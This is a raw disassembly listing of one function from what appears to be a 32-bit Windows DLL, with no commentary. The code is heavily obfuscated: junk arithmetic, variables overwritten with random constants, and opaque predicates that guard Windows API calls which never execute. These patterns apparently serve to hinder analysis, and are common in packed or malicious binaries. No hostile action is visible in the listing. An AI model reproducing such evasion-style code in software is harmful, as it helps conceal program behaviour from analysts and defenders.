call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
xor eax, eax
push eax
lea ecx, [ebp - 0x904]
call fcn.10017408
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x18]
test eax, eax
jne 0x10033c03
push eax
lea ecx, [ebp - 0x904]
call fcn.10017408
xor ecx, ecx
cmp dword [eax], 0x2f38d927
setge cl
xor eax, eax
cmp ecx, 0xeb59
setle al
cmp eax, dword [ebp - 0x40]
jle 0x10033c03
xor esi, esi
jmp 0x10033c08
xor eax, eax
lea esi, [eax + 1]
push 0
lea ecx, [ebp - 0x904]
call fcn.10017408
xor edx, edx
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
lea eax, [esi + 1]
cmp eax, 0xffff
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x904]
mov dword [ebp - 4], edi
call fcn.10017403
mov eax, 0x4e6d4f28
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x50], 0x47a6deec
mov dword [ebp - 0x50], 0xd72276b8
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x50], 0x9a57b5bf
mov dword [ebp - 0x50], 0xce4a6f44
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x40], 0xa7b445ac
mov dword [ebp - 0x14], 0x18
jmp 0x10033cce
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10033cbb
xor eax, eax
inc eax
push eax
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10033ccb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffef
jne 0x10033c9e
xor eax, eax
xor esi, esi
push 8
mov dword [ebp - 0x14], eax
inc esi
pop ebx
cmp dword [ebp - 0x14], ebx
jg 0x10033d38
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x50], 0x47c4d145
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x50], 0xa53061ec
mov dword [ebp - 0x50], 0xfffffffe
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x50], 0xe75cb554
dec dword [ebp - 0x40]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033d30
push eax
push 0x1f0d
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0xfffffffffffffffa
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10033ce7
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x1f665683
mov dword [ebp - 0x20], 0x64ba8b35
mov dword [ebp - 0x40], 0xfffffffe
mov dword [ebp - 0x40], 0xf7828e97
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10033d79
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x6b0], 0x16e2c9bf
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10033d60
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10033ddc
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov ecx, esi
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge bl
sub ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp eax, ebx
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
sets al
xor ecx, ecx
cmp eax, 8
setge cl
sub ecx, 0x6e090b64
jne 0x10033dcb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jg 0x10033ddc
mov ecx, eax
jmp 0x10033de4
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x6b0]
sub ecx, eax
je 0x10033e91
xor eax, eax
mov dword [ebp - 0x18], 0xd55a
push 4
mov dword [ebp - 0x20], eax
pop ebx
jmp 0x10033e22
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033e1f
push 0x1a5d
push 0x12a5
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10033e03
cmp dword [ebp - 0x18], eax
jne 0x10033e51
mov eax, dword [ebp - 0x6b0]
cmp eax, dword [ebp - 0x6b0]
jge 0x10033e40
mov eax, dword [ebp - 0x6b0]
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6a8]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6b0]
neg ecx
sbb ecx, ecx
sub eax, 5
neg ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x402a
setg al
mov dword [ebp - 0x40], eax
jmp 0x10033ea2
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10033ea4
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033ebb
push 0x21e9
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov dword [ebp - 0x48], eax
mov ecx, 0x4e6d4f28
mov dword [ebp - 0x1c8], ecx
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x40], 0xe2095e04
mov dword [ebp - 0x40], 0xddbc75b1
mov dword [ebp - 0x18], 0x3f0bde8a
mov dword [ebp - 0x18], 0xe17c927d
cmp dword [ebp - 0x1c0], eax
jne 0x10033f24
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
sub ecx, eax
mov eax, dword [ebp - 0x1c0]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1c0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c0]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x1c0]
setle cl
add eax, ecx
jne 0x1003401f
cmp dword [ebp - 0x40], eax
jne 0x10034021
mov ecx, eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], 0xa012
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
lea eax, [ecx - 1]
xor ecx, ecx
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x498]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
inc eax
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x20], 0xd4e7937
mov dword [ebp - 0x14], 0xbc588e1b
push eax
call fcn.1001737a
mov dword [ebp - 4], 7
push 8
mov dword [ebp - 0x40], 0xa4ec
pop ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x2c], 0
jmp 0x10034045
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10033f9c
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10033f9e
push dword [ebp - 0x2c]
call fcn.10017408
mov dword [eax], 3
inc dword [ebp - 0x2c]
xor eax, eax
lea ecx, [ebp - 0x498]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10034034
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push 0
call fcn.10017408
push 0
lea ecx, [ebp - 0x498]
call fcn.10017408
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x498]
push 0
call fcn.10017408
push 0
lea ecx, [ebp - 0x498]
mov esi, eax
call fcn.10017408
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x20]
setl dl
xor edi, edi
add eax, edx
inc edi
cmp eax, edi
jl 0x1003423f
push 3
lea ecx, [ebp - 0x324]
call fcn.1001737a
mov byte [ebp - 4], bl
mov dword [ebp - 0x2c], 0
jmp 0x100340d7
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x324]
call fcn.10017408
mov dword [eax], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x100340c4
mov dword [ebp - 0x20], 0x14
jmp 0x100341d3
xor eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0xf0ed6937
mov dword [ebp - 0x18], 0x1300d3b5
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10034115
push 0x2507
call dword [sym.imp.USER32.dll_MessageBeep]
xor eax, eax
inc eax
cmp dword [ebp - 0x20], 0
jne 0x10034156
push eax
lea ecx, [ebp - 0x324]
call fcn.10017408
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x324]
xor eax, eax
inc eax
push eax
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x10034145
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
xor edi, edi
lea ecx, [ebp - 0x324]
inc edi
push edi
call fcn.10017408
jmp 0x10034159
xor edi, edi
inc edi
push 0
lea ecx, [ebp - 0x498]
call fcn.10017408
push edi
lea ecx, [ebp - 0x324]
call fcn.10017408
xor ecx, ecx
push 2
cmp dword [eax], edi
setle cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x324]
call fcn.10017408
push edi
lea ecx, [ebp - 0x324]
mov esi, eax
call fcn.10017408
xor ebx, ebx
push 0
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x324]
setne bl
call fcn.10017408
xor ecx, ecx
push edi
cmp ebx, dword [eax]
setg cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x324]
call fcn.10017408
mov edx, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, dword [eax]
setne cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x3b
jle 0x100340e9
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10034232
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x1730
push 0x1f9f
push 0x1fa1
push 0x1539
push 0xec1
call ebx
mov esi, dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push eax
push 0x791
push 0xcdc
push 0xe83
push 0x174f
call ebx
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
lea ecx, [ebp - 0x324]
call fcn.10017403
jmp 0x1003429f
mov dword [ebp - 0x2c], 0
jmp 0x10034259
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x10c], 0xfffffff6
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10034248
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x498]
push 0
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x1003428c
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x40], 0xfffffffe
or esi, 0xffffffff
lea ecx, [ebp - 0x498]
mov dword [ebp - 4], esi
call fcn.10017403
push 3
pop edi
mov dword [ebp - 0x40], 0xe2095e04
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x24], 0x94b2ab76
mov dword [ebp - 0x18], 0x6128f3b8
push edi
call fcn.1001737a
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x5ac]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0xa928
push edi
call fcn.1001737a
mov byte [ebp - 4], 0xa
mov ebx, 0xffff
mov dword [ebp - 0x38], 0xd571f7fc
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x40], 0x6dea2805
mov dword [ebp - 0x40], 0x48cb009
mov dword [ebp - 0x20], 0
jmp 0x10034332
push dword [ebp - 0x20]
lea ecx, [ebp - 0x330]
call fcn.10017408
mov dword [eax], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1003431f
mov dword [ebp - 0x20], 0
jmp 0x10034357
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5ac]
call fcn.10017408
mov dword [eax], 0x6902
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10034340
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x2f64
jge 0x100343de
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x18]
cmp eax, ecx
jl 0x1003437c
xor eax, eax
lea esi, [eax + 1]
jmp 0x1003437e
xor esi, esi
push 2
lea ecx, [ebp - 0x330]
call fcn.10017408
push 2
lea ecx, [ebp - 0x330]
mov dword [eax], esi
call fcn.10017408
or ecx, 0xffffffff
xor esi, esi
inc esi
xor edx, edx
mov dword [eax], ecx
mov ecx, esi
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x24]
jne 0x100343cc
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, esi
setl cl
cmp ecx, edi
jb 0x100343de
xor ecx, ecx
jmp 0x100343e6
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
cmp esi, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
xor eax, eax
inc eax
cmp edx, eax
jl 0x10034469
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 0x31
jg 0x1003445e
xor edi, edi
push eax
lea ecx, [ebp - 0x330]
call fcn.10017408
cmp dword [eax], edi
jne 0x1003445e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x31
push 1
pop eax
jle 0x10034442
dec dword [ebp - 0x40]
xor edi, edi
inc edi
jmp 0x100346a9
push eax
lea ecx, [ebp - 0x280]
call fcn.1001737a
mov byte [ebp - 4], 0xb
mov eax, 0xa7dc4cae
mov dword [ebp - 0xb74], eax
mov dword [ebp - 0xb70], eax
mov dword [ebp - 0xb6c], eax
mov dword [ebp - 0xb68], eax
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x2c], 0
jmp 0x100344bd
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x280]
call fcn.10017408
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x100344a6
push 2
pop esi
push esi
lea ecx, [ebp - 0x5ac]
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
je 0x10034577
or eax, 0xffffffff
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x280]
push edi
call fcn.10017408
mov ecx, dword [ebp - 0x40]
push edi
mov dword [eax], ecx
lea ecx, [ebp - 0x280]
call fcn.10017408
cmp dword [eax], edi
je 0x10034559
push esi
lea ecx, [ebp - 0x330]
call fcn.10017408
push edi
lea ecx, [ebp - 0x280]
mov esi, eax
call fcn.10017408
mov ecx, dword [eax]
mov dword [esi], ecx
test ecx, ecx
je 0x10034559
push edi
lea ecx, [ebp - 0x280]
call fcn.10017408
mov eax, dword [eax]
sub eax, 0x7253
cmp dword [ebp - 0x24], eax
jle 0x10034559
push edi
lea ecx, [ebp - 0x280]
call fcn.10017408
cmp dword [eax], edi
je 0x10034559
xor eax, eax
lea esi, [eax + 1]
jmp 0x1003455b
xor esi, esi
push 0
lea ecx, [ebp - 0x280]
call fcn.10017408
xor ecx, ecx
push 2
cmp esi, dword [eax]
pop esi
setne cl
mov dword [ebp - 0x18], ecx
jmp 0x1003458e
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x1003458e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push esi
lea ecx, [ebp - 0x330]
call fcn.10017408
push 0
lea ecx, [ebp - 0x280]
mov dword [eax], 0x6fe0855b
call fcn.10017408
xor ebx, ebx
lea ecx, [ebp - 0x330]
push esi
cmp dword [eax], 0x8f94bbb
setl bl
call fcn.10017408
xor ecx, ecx
push esi
cmp ebx, dword [eax]
setge cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x5ac]
call fcn.10017408
mov eax, dword [eax]
imul eax, dword [ebp - 0x40]
test eax, eax
jne 0x100345fc
inc eax
lea ecx, [ebp - 0x5ac]
push eax
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x100345fc
xor eax, eax
inc edi
jmp 0x10034601
xor edi, edi
inc edi
mov eax, edi
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x330]
push esi
call fcn.10017408
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x34]
push 0
mov dword [eax], ecx
lea ecx, [ebp - 0x330]
call fcn.10017408
push 0
lea ecx, [ebp - 0x280]
call fcn.10017408
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x40]
cmp eax, 0xe12f
setle cl
imul eax, ecx, 0x8e76
cmp dword [ebp - 0x24], eax
jne 0x10034657
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x5ac]
push esi
call fcn.10017408
push edi
lea ecx, [ebp - 0x5ac]
call fcn.10017408
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x280]
mov eax, dword [ebp - 0xb68]
push 0
call fcn.10017408
mov ecx, dword [ebp - 0xb68]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x280]
setne dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
call fcn.10017403
lea ecx, [ebp - 0x5ac]
call fcn.10017403
or esi, 0xffffffff
lea ecx, [ebp - 0x330]
mov dword [ebp - 4], esi
call fcn.10017403
push 4
mov dword [ebp - 0x54], 0xddbc75b1
pop eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xfffffff1
cmp dword [ebp - 0x48], 0xffffffeb
jl 0x100347e9
mov dword [ebp - 0x14], 3
lea ecx, [ebp - 0xf50]
mov dword [ebp - 0x40], 0xf23e93d0
push edi
call fcn.1001737a
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x10034732
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xf50]
call fcn.10017408
mov dword [eax], 0xf4a8fe24
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x1003470e
xor edi, edi
xor eax, eax
inc edi
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10034744
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xc
jge 0x100347cb
mov dword [ebp - 0x18], 0xd60a2215
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
push 0
setl cl
xor eax, eax
cmp ecx, 0xf545
lea ecx, [ebp - 0xf50]
setle al
mov dword [ebp - 0x40], eax
call fcn.10017408
mov ecx, dword [ebp - 0x14]
mov esi, eax
sub ecx, 0x88146cde
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x9bac
mov ecx, dword [ebp - 0x40]
setne dl
xor ebx, ebx
cmp edx, ecx
setle bl
sub ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
mov dword [esi], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jl 0x1003474d
or esi, 0xffffffff
lea ecx, [ebp - 0xf50]
mov dword [ebp - 4], esi
call fcn.10017403
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffeb
jge 0x100346e3
push 4
pop eax
mov dword [ebp - 0x40], 0x3f0bde8a
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xfffffff1
jmp 0x100348f8
mov dword [ebp - 0x14], 3
lea ecx, [ebp - 0xf68]
mov dword [ebp - 0x40], 0xf23e93d0
push edi
call fcn.1001737a
xor eax, eax
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x1003484e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xf68]
call fcn.10017408
mov dword [eax], 0xf4a8fe24
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x1003482a
xor edi, edi
xor eax, eax
inc edi
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10034860
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xc
jge 0x100348e7
mov dword [ebp - 0x18], 0xd60a2215
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
push 0
setl cl
xor eax, eax
cmp ecx, 0xf545
lea ecx, [ebp - 0xf68]
setle al
mov dword [ebp - 0x40], eax
call fcn.10017408
mov ecx, dword [ebp - 0x14]
mov esi, eax
sub ecx, 0x88146cde
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, 0x9bac
mov ecx, dword [ebp - 0x40]
setne dl
xor ebx, ebx
cmp edx, ecx
setle bl
sub ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
mov dword [esi], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jl 0x10034869
or esi, 0xffffffff
lea ecx, [ebp - 0xf68]
mov dword [ebp - 4], esi
call fcn.10017403
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffeb
jge 0x100347ff
push 2
pop ebx
mov dword [ebp - 0x40], 0xe17c927d
lea ecx, [ebp - 0xf98]
push ebx
call fcn.1001737a
push ebx
lea ecx, [ebp - 0xf80]
mov dword [ebp - 4], 0xe
call fcn.1001737a
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x18], 0xb03629aa
mov dword [ebp - 0x20], 0
jmp 0x10034952
push dword [ebp - 0x20]
lea ecx, [ebp - 0xf98]
call fcn.10017408
mov dword [eax], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003493f
mov dword [ebp - 0x20], 0
jmp 0x10034977
push dword [ebp - 0x20]
lea ecx, [ebp - 0xf80]
call fcn.10017408
mov dword [eax], 0x8a137b18
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10034960
push 0
lea ecx, [ebp - 0xf98]
call fcn.10017408
mov ebx, 0xc6a53d06
lea ecx, [ebp - 0xf80]
push 0
mov dword [eax], ebx
call fcn.10017408
mov dword [eax], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
js 0x100349b6
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x3ee32743
dec dword [ebp - 0x18]
jns 0x100349a7
lea ecx, [ebp - 0xf80]
call fcn.10017403
lea ecx, [ebp - 0xf98]
mov dword [ebp - 4], esi
call fcn.10017403
push 4
pop ebx
push ebx
lea ecx, [ebp - 0xbc]
call fcn.1001737a
xor eax, eax
mov dword [ebp - 4], 0x10
inc eax
lea ecx, [ebp - 0x9c4]
push eax
call fcn.1001737a
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x24], 0
jmp 0x10034a22
push dword [ebp - 0x24]
lea ecx, [ebp - 0xbc]
call fcn.10017408
mov dword [eax], 0x1265
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10034a0b
xor eax, eax
mov dword [ebp - 0x24], 0
inc eax
cmp dword [ebp - 0x24], eax
jge 0x10034a55
push dword [ebp - 0x24]
lea ecx, [ebp - 0x9c4]
call fcn.10017408
mov dword [eax], 0xff93f8de
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10034a36
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], eax
jge 0x10034a7a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x48c], 0x84ca67b1
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10034a61
push eax
lea ecx, [ebp - 0xbc]
call fcn.10017408
xor ebx, ebx
lea ecx, [ebp - 0xbc]
inc ebx
push ebx
call fcn.10017408
push ebx
lea ecx, [ebp - 0xbc]
mov esi, dword [eax]
add esi, 0xfff6
call fcn.10017408
xor ecx, ecx
cmp dword [eax], esi
setne cl
xor eax, eax
inc eax
cmp eax, ecx
lea ecx, [ebp - 0xbc]
push eax
sbb esi, esi
neg esi
call fcn.10017408
cmp esi, dword [eax]
jle 0x10034ae5
xor eax, eax
lea ecx, [ebp - 0xbc]
inc eax
push eax
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x10034ae5
xor eax, eax
xor esi, esi
inc eax
jmp 0x10034aea
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0xbc]
call fcn.10017408
xor ebx, ebx
lea ecx, [ebp - 0xbc]
cmp dword [eax], esi
setl bl
xor esi, esi
inc esi
push esi
call fcn.10017408
xor ecx, ecx
push esi
cmp dword [eax], ebx
setge cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0xbc]
call fcn.10017408
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0xbc]
setge bl
call fcn.10017408
cmp ebx, dword [eax]
jge 0x10034c39
mov dword [ebp - 0x14], 0xffff
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x18], 0
push esi
call fcn.10017408
mov ecx, dword [ebp - 0x14]
xor edx, edx
push 0
cmp dword [eax], ecx
lea ecx, [ebp - 0x9c4]
mov eax, dword [ebp - 0x14]
sete dl
xor ebx, ebx
cmp edx, eax
setge bl
call fcn.10017408
mov dword [eax], ebx
xor eax, eax
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
jne 0x10034b93
push eax
lea ecx, [ebp - 0x9c4]
call fcn.10017408
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
push 0
call fcn.10017408
xor ecx, ecx
cmp dword [eax], esi
setne cl
xor eax, eax
inc eax
cmp eax, ecx
lea ecx, [ebp - 0xbc]
push eax
sbb esi, esi
inc esi
call fcn.10017408
xor ecx, ecx
push 2
cmp esi, dword [eax]
setl cl
mov dword [ebp - 0x28], ecx
